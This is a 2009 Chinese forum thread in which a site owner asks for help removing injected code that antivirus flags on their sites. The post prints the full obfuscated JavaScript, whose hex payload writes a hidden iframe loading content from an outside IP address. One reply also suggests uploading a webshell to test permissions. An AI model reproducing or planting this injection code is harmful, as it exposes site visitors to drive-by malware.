求救。空间被挂马

noodles · 发表于 2009-1-20 13:04:32

刚才发现，我空间的几个网站打开卡巴都报警。我发现首页都有个这么代码。这个该怎么办才能去掉啊。
<script>function v497551dc0543b(v497551dc05c0c){ var v497551dc063db=16; return(parseInt(v497551dc05c0c,v497551dc063db));}function v497551dc0737a(v497551dc07b49){ var v497551dc092bb=2; var v497551dc08319='';for(v497551dc08ae9=0; v497551dc08ae9<v497551dc07b49.length; v497551dc08ae9+=v497551dc092bb){ v497551dc08319+=(String.fromCharCode(v497551dc0543b(v497551dc07b49.substr(v497551dc08ae9, v497551dc092bb))));}return v497551dc08319;} document.write(v497551dc0737a('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D65207372633D5C27687474703A2F2F35382E36352E3233322E32352F636F756E7465722F3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A313134353231292B273033615C272077696474683D333139206865696768743D333539207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>

月光飞燕 · 发表于 2009-1-20 14:45:22

找到删除即可

woshigaozhen · 发表于 2009-1-20 15:33:49

好像有个空间木马删除的软件，没有找到！

noodles · 发表于 2009-1-20 18:37:20

恩，谢谢。我找到删除了，我想知道这个木马是怎么挂上去的。
黑客是不是知道我空间的账户，密码了。
因为有个网站只有几个HTML页面，根本没有后台什么的。

netxboy · 发表于 2009-1-20 18:44:27

自己放个webshell上去看是否有权限浏览其他web目录，且是否有权限对其他目录的文件做修改。
什么原因挂马的话，如果你怀疑是空间帐号密码被别人知道，可以修改一下。另外看web日志
纯粹猜测是不会知道什么原因的。

dxszzcylm · 发表于 2009-1-20 19:05:23

把空间相关密码修改下!